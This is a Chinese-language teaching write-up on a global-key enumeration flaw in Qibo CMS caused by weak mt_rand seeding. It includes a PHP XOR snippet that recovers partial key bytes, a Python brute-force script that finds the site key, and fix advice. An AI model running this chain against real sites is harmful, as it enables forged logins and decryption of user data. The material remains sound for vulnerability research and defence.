奇博CMS全局密钥可枚举漏洞分析
字数 1053 2025-08-18 11:39:00
奇博CMS全局密钥可枚举漏洞分析教学文档
漏洞概述
奇博CMS存在一个全局密钥可枚举漏洞,该漏洞源于PHP的mt_rand()函数伪随机数特性,结合系统密钥生成机制,导致攻击者可以通过暴力枚举方式获取系统全局密钥。
漏洞原理分析
1. 随机数生成缺陷
漏洞核心位于/inc/function.inc.php文件的557行rands函数:
mt_srand((double)microtime() * 1000000);
- 使用
microtime()乘以1000000作为随机数种子 - 种子范围仅为1-999999(共100万种可能)
- PHP的
mt_rand()在种子已知时可预测随机数序列
2. 全局密钥生成机制
位于install.php第233行:
// 通过伪随机数生成字符串并写入配置文件
// 成为系统全局密钥
3. 加密函数分析(mymd5函数)
加密过程分为多个步骤:
-
获取绝密字符串:
$secret_string = $webdb[mymd5].$rand.'5*j,'$webdb[mymd5]为全局密钥$rand为可选参数
-
生成md5code:
$md5code = substr(md5($string), 8, 10);- 取原始字符串MD5值的第8位开始10个字符
-
生成key:
$key = md5($md5code.$secret_string); -
生成code:
- 原始字符串与key进行异或运算
-
最终加密值:
base64_encode($code).$md5code
4. 逆向推导条件
要逆向推导出key值需要:
- 加密后的数据(去除最后10位md5code)
- 原始字符串
漏洞利用链
可利用文件
/do/swfuploadxml.php
- 将用户名和用户ID通过mymd5加密后输出
- 用户ID可通过访问
http://target.com/member/userinfo.php获取
利用步骤
- 获取加密后的数据
- 获取原始字符串(用户名+用户ID)
- 通过异或运算推导部分key值
- 暴力枚举全局密钥
漏洞复现
环境要求
- PHP版本:5.0-7.0(不同版本随机数生成方式不同)
- 奇博CMS特定版本
复现步骤
第一步:生成所有可能的hash值
- 枚举种子1-999999对应的所有hash值
第二步:获取逆向key值
-
从加密数据中提取:
- md5code:3924372a07
- base64编码的code值:FgYVEBVRSkEXBhVBMFY=
-
原始字符串示例:"testtesttest\t3"
-
使用以下PHP代码进行异或运算获取部分key值:
<?php
$string = "原始字符串";
$len = 32;
$code = base64_decode("base64加密的code值");
for($i=0; $i<strlen($string); $i++){
$k = $i % $len;
$key .= $string[$i] ^ $code[$k];
}
echo $key;
?>
第三步:枚举全局密钥
使用Python脚本暴力枚举:
import hashlib
import os
import base64
import time
def md5_convert(string):
m = hashlib.md5()
m.update(string.encode())
return m.hexdigest()
start = time.time()
md5code = "3924372a07"
key = "bcfda495ccf59e"
file = open("php56.txt", "r")
for line in file:
line = line.strip("\n")
if len(line) == 10:
str = "{}5*j,".format(md5code + line)
code = "{}".format(md5_convert(str))
if key in code:
print(line)
print("用时{}".format(time.time()-start))
break
漏洞修复建议
- 使用更安全的随机数生成方式,如:
random_int() - 增加密钥复杂度
- 使用加密强度更高的算法
- 等官方发布安全补丁
安全影响
获取全局密钥后,攻击者可能:
- 解密系统敏感数据
- 伪造身份认证信息
- 执行其他未授权操作
免责声明
本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。